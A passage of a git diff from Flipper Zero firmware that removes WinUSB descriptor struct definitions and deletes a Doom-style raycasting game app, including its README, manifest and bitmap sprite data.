uint8_t bReserved; - uint8_t PlatformCapabilityUUID[16]; - uint32_t dwWindowsVersion; - uint16_t wMSOSDescriptorSetTotalLength; - uint8_t bMS_VendorCode; - uint8_t bAltEnumCode; -} usb_winusb_capability_descriptor_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint32_t dwWindowsVersion; - uint16_t wDescriptorSetTotalLength; -} usb_winusb_set_header_descriptor_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t bConfigurationValue; - uint8_t bReserved; - uint16_t wTotalLength; -} usb_winusb_subset_header_configuration_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t bFirstInterface; - uint8_t bReserved; - uint16_t wSubsetLength; -} usb_winusb_subset_header_function_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t CompatibleID[8]; - uint8_t SubCompatibleID[8]; -} usb_winusb_feature_compatble_id_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint16_t wPropertyDataType; - //uint16_t wPropertyNameLength; - //uint8_t PropertyName[...]; - //uint16_t wPropertyDataLength - //uint8_t PropertyData[...]; -} usb_winusb_feature_reg_property_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint16_t wPropertyDataType; - uint16_t wPropertyNameLength; - uint8_t PropertyName[42]; - uint16_t wPropertyDataLength; - uint8_t PropertyData[80]; -} usb_winusb_feature_reg_property_guids_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t bResumeRecoveryTime; - uint8_t bResumeSignalingTime; -} usb_winusb_feature_min_resume_time_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint8_t ModelID[16]; -} usb_winusb_feature_model_id_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; -} usb_winusb_feature_ccgp_device_t; - -typedef struct USB_PACK { - uint16_t wLength; - uint16_t wDescriptorType; - uint16_t VendorRevision; -} usb_winusb_feature_vendor_revision_t; \ No newline at end of file diff --git a/applications/external/doom/.gitignore b/applications/external/doom/.gitignore deleted file mode 100644 index e2a15a10a..000000000 --- a/applications/external/doom/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -dist/* -.vscode -.clang-format -.editorconfig \ No newline at end of file diff --git a/applications/external/doom/README.md b/applications/external/doom/README.md deleted file mode 100644 index 501f644d1..000000000 --- a/applications/external/doom/README.md +++ /dev/null @@ -1,10 +0,0 @@ -# Doom Flipper Zero edition -## Will it run Doom? -As tradition goes, Doom is being ported to almost every possible embedded electronic device. Therefore I did an attempt to come up with something close to Doom and still compatible on the Flipper Zero's hardware. This is not the actual Doom game but a port made from yet another Doom port to the Arduino Nano - https://github.com/daveruiz/doom-nano/. This port is basically a raycasting engine, using Doom sprites. -This version is very basic and might be improved over time. - -## Credits -@xMasterX - Porting to latest firmware using new plugins system, fixing many issues, adding sound -@Svaarich - New logo screen and cool icon -@hedger - uFBT fixes and some bugfixes -@p4nic4ttack - First raw implementation based on doom-nano \ No newline at end of file diff --git a/applications/external/doom/application.fam b/applications/external/doom/application.fam deleted file mode 100644 index 5ff6878ee..000000000 --- a/applications/external/doom/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="doom", - name="DOOM", - apptype=FlipperAppType.EXTERNAL, - entry_point="doom_app", - requires=[ - "gui", - "music_player", - ], - stack_size=4 * 1024, - order=75, - fap_icon="doom_10px.png", - fap_category="Games", - fap_icon_assets="assets", - fap_author="@xMasterX & @Svarich & @hedger (original code by @p4nic4ttack)", - fap_version="1.0", - fap_description="Will it run Doom?", -) diff --git a/applications/external/doom/assets.c b/applications/external/doom/assets.c deleted file mode 100644 index 864588581..000000000 --- a/applications/external/doom/assets.c +++ /dev/null @@ -1,331 +0,0 @@ -#include "assets.h" - -const uint8_t space[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -const uint8_t zero[] = {0x00, 0x60, 0x90, 0x90, 0x90, 0x60}; -const uint8_t one[] = {0x00, 0x20, 0x20, 0x20, 0x20, 0x70}; -const uint8_t two[] = {0x00, 0x60, 0x90, 0x20, 0x40, 0xf0}; -const uint8_t three[] = {0x00, 0x60, 0x90, 0x20, 0x90, 0x60}; -const uint8_t four[] = {0x00, 0x90, 0x90, 0xf0, 0x10, 0x10}; -const uint8_t five[] = {0x00, 0xf0, 0x80, 0xe0, 0x10, 0xe0}; -const uint8_t six[] = {0x00, 0x60, 0x80, 0xe0, 0x90, 0x60}; -const uint8_t seven[] = {0x00, 0xf0, 0x10, 0x10, 0x10, 0x10}; -const uint8_t eight[] = {0x00, 0x60, 0x90, 0x60, 0x90, 0x60}; -const uint8_t nine[] = {0x00, 0x60, 0x90, 0x70, 0x10, 0x60}; -const uint8_t A[] = {0x00, 0x60, 0x90, 0xf0, 0x90, 0x90}; -const uint8_t B[] = {0x00, 0xe0, 0x90, 0xe0, 0x90, 0xe0}; -const uint8_t C[] = {0x00, 0x60, 0x90, 0x80, 0x90, 0x60}; -const uint8_t D[] = {0x00, 0xe0, 0x90, 0x90, 0x90, 0xe0}; -const uint8_t E[] = {0x00, 0xf0, 0x80, 0xe0, 0x80, 0xf0}; -const uint8_t F[] = {0x00, 0xf0, 0x80, 0xe0, 0x80, 0x80}; -const uint8_t G[] = {0x00, 0x60, 0x80, 0x80, 0x90, 0x60}; -const uint8_t H[] = {0x00, 0x90, 0x90, 0xf0, 0x90, 0x90}; -const uint8_t I[] = {0x00, 0x20, 0x20, 0x20, 0x20, 0x20}; -const uint8_t J[] = {0x00, 0x10, 0x10, 0x10, 0x90, 0x60}; -const uint8_t K[] = {0x00, 0x90, 0xa0, 0xc0, 0xa0, 0x90}; -const uint8_t L[] = {0x00, 0x80, 0x80, 0x80, 0x80, 0xf0}; -const uint8_t M[] = {0x00, 0x90, 0xf0, 0x90, 0x90, 0x90}; -const uint8_t N[] = {0x00, 0x90, 0xd0, 0xb0, 0x90, 0x90}; -const uint8_t O[] = {0x00, 0x60, 0x90, 0x90, 0x90, 0x60}; -const uint8_t P[] = {0x00, 0xe0, 0x90, 0xe0, 0x80, 0x80}; -const uint8_t Q[] = {0x00, 0x60, 0x90, 0x90, 0xb0, 0x70}; -const uint8_t R[] = {0x00, 0xe0, 0x90, 0xe0, 0x90, 0x90}; -const uint8_t S[] = {0x00, 0x60, 0x80, 0x60, 0x10, 0xe0}; -const uint8_t T[] = {0x00, 0xe0, 0x40, 0x40, 0x40, 0x40}; -const uint8_t U[] = {0x00, 0x90, 0x90, 0x90, 0x90, 0x60}; -const uint8_t V[] = {0x00, 0x90, 0x90, 0x90, 0x60, 0x60}; -const uint8_t W[] = {0x00, 0x90, 0x90, 0x90, 0xf0, 0x90}; -const uint8_t X[] = {0x00, 0x90, 0x90, 0x60, 0x90, 0x90}; -const uint8_t Y[] = {0x00, 0x90, 0x90, 0x60, 0x60, 0x60}; -const uint8_t Z[] = {0x00, 0xf0, 0x10, 0x60, 0x80, 0xf0}; -const uint8_t dot[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x40}; -const uint8_t comma[] = {0x00, 0x00, 0x00, 0x00, 0x20, 0x40}; -const uint8_t dash[] = {0x00, 0x00, 0x00, 0x60, 0x00, 0x00}; -const uint8_t underscore[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0xf0}; -const uint8_t bracket_open[] = {0x00, 0x20, 0x40, 0x40, 0x40, 0x20}; -const uint8_t bracket_close[] = {0x00, 0x40, 0x20, 0x20, 0x20, 0x40}; -const uint8_t cross_left[] = {0x10, 0x10, 0x70, 0x70, 0x10, 0x10}; -const uint8_t cross_right[] = {0x80, 0x80, 0xe0, 0xe0, 0x80, 0x80}; -const uint8_t pacman_left[] = {0x00, 0x30, 0x50, 0x70, 0x70, 0x00}; -const uint8_t pacman_right[] = {0x00, 0xc0, 0x60, 0xe0, 0xe0, 0xe0}; -const uint8_t box[] = {0x00, 0xf0, 0xf0, 0xf0, 0xf0, 0x00}; -const uint8_t* char_arr[48] = { - space, - zero, - one, - two, - three, - four, - five, - six, - seven, - eight, - nine, - A, - B, - C, - D, - E, - F, - G, - H, - I, - J, - K, - L, - M, - N, - O, - P, - Q, - R, - S, - T, - U, - V, - W, - X, - Y, - Z, - dot, - comma, - dash, - underscore, - bracket_open, - bracket_close, - cross_left, - cross_right, - pacman_left, - pacman_right, - box}; -const uint8_t gradient[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x88, 0x00, 0x00, 0x22, 0x22, - 0x00, 0x00, 0x8a, 0x8a, 0x00, 0x00, 0x22, 0x22, 0x00, 0x00, 0xaa, 0xaa, - 0x10, 0x10, 0xaa, 0xaa, 0x00, 0x00, 0xaa, 0xaa, 0x01, 0x01, 0xaa, 0xaa, - 0x44, 0x44, 0xaa, 0xaa, 0x55, 0x55, 0xaa, 0xaa, 0x44, 0x44, 0xaa, 0xaa, - 0x15, 0x55, 0xaa, 0xaa, 0x55, 0x55, 0xaa, 0xaa, 0x55, 0x55, 0xbb, 0xbb, - 0x55, 0x55, 0xaa, 0xea, 0x55, 0x55, 0xbb, 0xbb, 0x55, 0x55, 0xff, 0xff, - 0x55, 0x55, 0xfb, 0xfb, 0x55, 0x55, 0xff, 0xff, 0x55, 0x55, 0xbb, 0xbf, - 0x57, 0x57, 0xff, 0xff, 0xdd, 0xdd, 0xff, 0xff, 0x77, 0x75, 0xff, 0xff, - 0xdd, 0xdd, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; -//const uint8_t gun[] = {0xff, 0xff, 0xdf, 0xff, 0xff, 0xff, 0x27, 0xff, 0xff, 0xfe, 0x3b, 0xff, 0xff, 0xfd, 0xfb, 0xff, 0xff, 0xfd, 0xfd, 0xff, 0xff, 0xfd, 0x15, 0xff, 0xff, 0xfb, 0x2e, 0xff, 0xff, 0xf6, 0x77, 0x7f, 0xff, 0xe6, 0xff, 0xff, 0xff, 0xf2, 0x3d, 0x7f, 0xff, 0xd6, 0x7e, 0x3f, 0xff, 0xf4, 0x5d, 0xdf, 0xff, 0xce, 0xbf, 0xbf, 0xff, 0xdc, 0xff, 0x3f, 0xff, 0xec, 0xff, 0xbf, 0xff, 0x8d, 0xfd, 0xff, 0xff, 0xb6, 0xff, 0xbf, 0xfe, 0x1f, 0x57, 0xdf, 0xf8, 0x0e, 0xff, 0xcf, 0xf4, 0x46, 0x1f, 0x17, 0xf8, 0xa3, 0xfc, 0x03, 0xf8, 0x10, 0x00, 0x11, 0xf8, 0x8a, 0x80, 0x2d, 0xe4, 0x44, 0x00, 0x4d, 0xee, 0xa8, 0x82, 0x9b, 0xcd, 0x50, 0x00, 0x17, 0xec, 0xa0, 0x8a, 0x2f, 0xcc, 0x00, 0x04, 0x67, 0xe8, 0x28, 0x1a, 0xff, 0xe4, 0x70, 0x4d, 0xcf, 0xfc, 0x82, 0xa7, 0xef, 0x90, 0x40, 0x13, 0xdf}; -// const uint8_t gun_mask[] = {0xff, 0xff, 0x8f, 0xff, 0xff, 0xfe, 0x03, 0xff, 0xff, 0xfc, 0x01, 0xff, 0xff, 0xf8, 0x01, 0xff, 0xff, 0xf8, 0x00, 0xff, 0xff, 0xf8, 0x00, 0xff, 0xff, 0xf0, 0x00, 0x7f, 0xff, 0xe0, 0x00, 0x3f, 0xff, 0xc0, 0x00, 0x7f, 0xff, 0xc0, 0x00, 0x3f, 0xff, 0x80, 0x00, 0x1f, 0xff, 0x80, 0x00, 0x0f, 0xff, 0x80, 0x00, 0x1f, 0xff, 0x80, 0x00, 0x1f, 0xff, 0x80, 0x00, 0x1f, 0xff, 0x00, 0x00, 0x3f, 0xff, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x00, 0x0f, 0xf0, 0x00, 0x00, 0x07, 0xe0, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x00, 0x01, 0xe0, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x03, 0x80, 0x00, 0x00, 0x07, 0x80, 0x00, 0x00, 0x03, 0x80, 0x00, 0x00, 0x07, 0x80, 0x00, 0x00, 0x07, 0x80, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0f}; -const uint8_t gun[] = {0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x01, 0xc4, 0x00, - 0x00, 0x02, 0x04, 0x00, 0x00, 0x02, 0x02, 0x00, 0x00, 0x02, 0xea, 0x00, - 0x00, 0x04, 0xd1, 0x00, 0x00, 0x09, 0x88, 0x80, 0x00, 0x19, 0x00, 0x00, - 0x00, 0x0d, 0xc2, 0x80, 0x00, 0x29, 0x81, 0xc0, 0x00, 0x0b, 0xa2, 0x20, - 0x00, 0x31, 0x40, 0x40, 0x00, 0x23, 0x00, 0xc0, 0x00, 0x13, 0x00, 0x40, - 0x00, 0x72, 0x02, 0x00, 0x00, 0x49, 0x00, 0x40, 0x01, 0xe0, 0xa8, 0x20, - 0x07, 0xf1, 0x00, 0x30, 0x0b, 0xb9, 0xe0, 0xe8, 0x07, 0x5c, 0x03, 0xfc, - 0x07, 0xef, 0xff, 0xee, 0x07, 0x75, 0x7f, 0xd2, 0x1b, 0xbb, 0xff, 0xb2, - 0x11, 0x57, 0x7d, 0x64, 0x32, 0xaf, 0xff, 0xe8, 0x13, 0x5f, 0x75, 0xd0, - 0x33, 0xff, 0xfb, 0x98, 0x17, 0xd7, 0xe5, 0x00, 0x1b, 0x8f, 0xb2, 0x30, - 0x03, 0x7d, 0x58, 0x10, 0x6f, 0xbf, 0xec, 0x20}; -const uint8_t gun_mask[] = {0x00, 0x00, 0x70, 0x00, 0x00, 0x01, 0xfc, 0x00, 0x00, 0x03, 0xfe, 0x00, - 0x00, 0x07, 0xfe, 0x00, 0x00, 0x07, 0xff, 0x00, 0x00, 0x07, 0xff, 0x00, - 0x00, 0x0f, 0xff, 0x80, 0x00, 0x1f, 0xff, 0xc0, 0x00, 0x3f, 0xff, 0x80, - 0x00, 0x3f, 0xff, 0xc0, 0x00, 0x7f, 0xff, 0xe0, 0x00, 0x7f, 0xff, 0xf0, - 0x00, 0x7f, 0xff, 0xe0, 0x00, 0x7f, 0xff, 0xe0, 0x00, 0x7f, 0xff, 0xe0, - 0x00, 0xff, 0xff, 0xc0, 0x00, 0xff, 0xff, 0xe0, 0x03, 0xff, 0xff, 0xf0, - 0x0f, 0xff, 0xff, 0xf8, 0x1f, 0xff, 0xff, 0xfc, 0x1f, 0xff, 0xff, 0xfe, - 0x1f, 0xff, 0xff, 0xff, 0x1f, 0xff, 0xff, 0xff, 0x3f, 0xff, 0xff, 0xff, - 0x3f, 0xff, 0xff, 0xfe, 0x7f, 0xff, 0xff, 0xfc, 0x7f, 0xff, 0xff, 0xf8, - 0x7f, 0xff, 0xff, 0xfc, 0x7f, 0xff, 0xff, 0xf8, 0x7f, 0xff, 0xff, 0xf8, - 0x7f, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xff, 0xf0}; - -const uint8_t - imp_inv[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, - 0x02, 0x80, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x02, 0x80, 0x00, 0x00, 0x01, - 0x00, 0x00, 0x01, 0x0f, 0xb3, 0x00, 0x00, 0xd0, 0x4e, 0x00, 0x00, 0x79, 0x8c, - 0x00, 0x00, 0x1c, 0x19, 0x00, 0x01, 0x8a, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x40, 0x02, 0x08, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x8e, - 0x30, 0x00, 0x00, 0x04, 0x10, 0x00, 0x00, 0x0c, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x06, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x20, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x03, 0xe0, - 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0xa1, 0x80, 0x01, 0x80, 0x13, 0x00, - 0x00, 0xf3, 0x8a, 0x00, 0x00, 0x09, 0x94, 0x00, 0x00, 0x88, 0x38, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x23, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x80, - 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0xe2, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x0c, 0x20, 0x00, 0x00, 0x04, 0x30, 0x00, 0x00, 0x02, 0x20, 0x00, - 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x20, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, - 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, - 0x00, 0x1f, 0x00, 0x00, 0x02, 0x2a, 0x80, 0x00, 0x01, 0x05, 0x00, 0x00, 0x01, - 0xae, 0x20, 0x00, 0x01, 0x24, 0x40, 0x00, 0x02, 0xac, 0x80, 0x00, 0x02, 0x86, - 0x00, 0x00, 0x03, 0x20, 0x20, 0x00, 0x04, 0x30, 0x40, 0x00, 0x0c, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x08, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x1a, 0x00, 0x00, 0x00, - 0x1c, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x98, - 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0a, 0x00, - 0x00, 0x00, 0x08, 0x40, 0x00, 0x00, 0x00, 0x80, 0x00, 0x01, 0xd6, 0x80, 0x00, - 0x02, 0xbf, 0x80, 0x00, 0x06, 0x61, 0xa0, 0x00, 0x0c, 0xe8, 0x80, 0x00, 0x0c, - 0x10, 0x00, 0x00, 0x1a, 0x22, 0x00, 0x00, 0x12, 0x40, 0x00, 0x00, 0x06, 0x0c, - 0x00, 0x00, 0x04, 0x0d, 0x00, 0x00, 0x3a, 0x03, 0x00, 0x00, 0x10, 0x02, 0x00, - 0x00, 0x60, 0x0a, 0x00, 0x00, 0x50, 0x04, 0x00, 0x00, 0x20, 0x03, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x24, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x01, - 0x18, 0x00, 0x00, 0x01, 0x41, 0x40, 0x02, 0x33, 0xb6, 0x80, 0x01, 0x9c, 0x04, - 0x00, 0x08, 0xfa, 0x02, 0x08, 0x05, 0x00, 0x01, 0x0c, 0x27, 0x83, 0xa2, 0x2a, - 0x00, 0x04, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00}; //{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x02, 0x80, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x02, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x0f, 0xb3, 0x00, 0x00, 0xd0, 0x4e, 0x00, 0x00, 0x79, 0x8c, 0x00, 0x00, 0x1c, 0x19, 0x00, 0x01, 0x8a, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x08, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x8e, 0x30, 0x00, 0x00, 0x04, 0x10, 0x00, 0x00, 0x0c, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x20, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -const uint8_t imp_mask_inv[] = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x00, 0x00, 0x03, 0xc0, 0x00, - 0x00, 0x07, 0xe0, 0x00, 0x00, 0x07, 0xe0, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x01, 0x07, 0xf1, 0x80, - 0x00, 0xdf, 0xfe, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0x00, 0x7f, 0xff, 0x00, 0x01, 0xff, 0xff, 0x80, - 0x00, 0xff, 0xff, 0x80, 0x01, 0xff, 0xff, 0x80, 0x03, 0xcf, 0xf1, 0xc0, 0x01, 0xc7, 0xf1, 0xc0, - 0x01, 0x87, 0xf1, 0xc0, 0x03, 0x0f, 0xf9, 0x80, 0x03, 0x0f, 0xfb, 0x80, 0x01, 0x8f, 0xff, 0x80, - 0x03, 0x9f, 0x79, 0x00, 0x00, 0x1f, 0x7c, 0x00, 0x00, 0x0f, 0x78, 0x00, 0x00, 0x0f, 0x78, 0x00, - 0x00, 0x07, 0x30, 0x00, 0x00, 0x07, 0x38, 0x00, 0x00, 0x07, 0x30, 0x00, 0x00, 0x07, 0x30, 0x00, - 0x00, 0x03, 0x78, 0x00, 0x00, 0x07, 0x30, 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x00, 0x00, 0x07, 0xc0, 0x00, 0x00, 0x07, 0xe0, 0x00, - 0x00, 0x07, 0xc0, 0x00, 0x01, 0x07, 0xe1, 0x00, 0x00, 0x8f, 0xfa, 0x00, 0x00, 0xff, 0xfe, 0x00, - 0x00, 0x3f, 0xfe, 0x00, 0x01, 0x7f, 0xff, 0x80, 0x00, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0x80, - 0x03, 0xcf, 0xfb, 0xc0, 0x03, 0x87, 0xf1, 0xc0, 0x03, 0xcf, 0xf3, 0xc0, 0x01, 0xcf, 0xf1, 0x80, - 0x00, 0xcf, 0xf1, 0x00, 0x00, 0x0f, 0xfb, 0x80, 0x00, 0x1e, 0x78, 0x00, 0x00, 0x0e, 0x78, 0x00, - 0x00, 0x1e, 0x78, 0x00, 0x00, 0x0f, 0x70, 0x00, 0x00, 0x0f, 0x78, 0x00, 0x00, 0x07, 0x70, 0x00, - 0x00, 0x07, 0x70, 0x00, 0x00, 0x07, 0x38, 0x00, 0x00, 0x03, 0x30, 0x00, 0x00, 0x03, 0x20, 0x00, - 0x00, 0x07, 0x30, 0x00, 0x00, 0x05, 0x70, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x1f, 0x00, - 0x00, 0x00, 0x1f, 0x00, 0x00, 0x03, 0x3f, 0x80, 0x00, 0x01, 0x3f, 0x00, 0x00, 0x01, 0xff, 0x30, - 0x00, 0x03, 0xff, 0xc0, 0x00, 0x03, 0xff, 0xc0, 0x00, 0x03, 0xff, 0x80, 0x00, 0x07, 0xff, 0xe0, - 0x00, 0x07, 0xff, 0xc0, 0x00, 0x05, 0xff, 0xe0, 0x00, 0x00, 0xfc, 0xe0, 0x00, 0x01, 0xfc, 0xe0, - 0x00, 0x01, 0xfc, 0x70, 0x00, 0x03, 0xfc, 0x38, 0x00, 0x03, 0xfe, 0x70, 0x00, 0x07, 0xfc, 0x00, - 0x00, 0x07, 0x9e, 0x00, 0x00, 0x0f, 0xbc, 0x00, 0x00, 0x0f, 0x3e, 0x00, 0x00, 0x07, 0x9c, 0x00, - 0x00, 0x03, 0x9c, 0x00, 0x00, 0x03, 0xb8, 0x00, 0x00, 0x03, 0x98, 0x00, 0x00, 0x01, 0x98, 0x00, - 0x00, 0x02, 0x1c, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x1f, 0x00, - 0x00, 0x00, 0x1f, 0x40, 0x00, 0x00, 0x3e, 0x80, 0x00, 0x01, 0xff, 0x80, 0x00, 0x03, 0xff, 0x80, - 0x00, 0x07, 0xff, 0xe0, 0x00, 0x0e, 0xff, 0xc0, 0x00, 0x0c, 0xff, 0x80, 0x00, 0x1f, 0xfe, 0x00, - 0x00, 0x13, 0xfc, 0x00, 0x00, 0x07, 0xfe, 0x00, 0x00, 0x1f, 0xff, 0x00, 0x00, 0x3f, 0x9f, 0x00, - 0x00, 0x3e, 0x0f, 0x00, 0x00, 0x7c, 0x0f, 0x00, 0x00, 0x78, 0x0f, 0x00, 0x00, 0x78, 0x07, 0x80, - 0x00, 0x78, 0x07, 0x40, 0x00, 0x38, 0x07, 0x80, 0x00, 0x30, 0x07, 0x00, 0x00, 0x30, 0x01, 0x00, - 0x01, 0xf0, 0x00, 0x00, 0x01, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x1c, 0x00, - 0x00, 0x01, 0x3e, 0x00, 0x00, 0x03, 0xff, 0x00, 0x00, 0x0f, 0xff, 0xe0, 0x01, 0x3f, 0xff, 0xc0, - 0x01, 0xff, 0xff, 0xc0, 0x19, 0xff, 0xff, 0xe8, 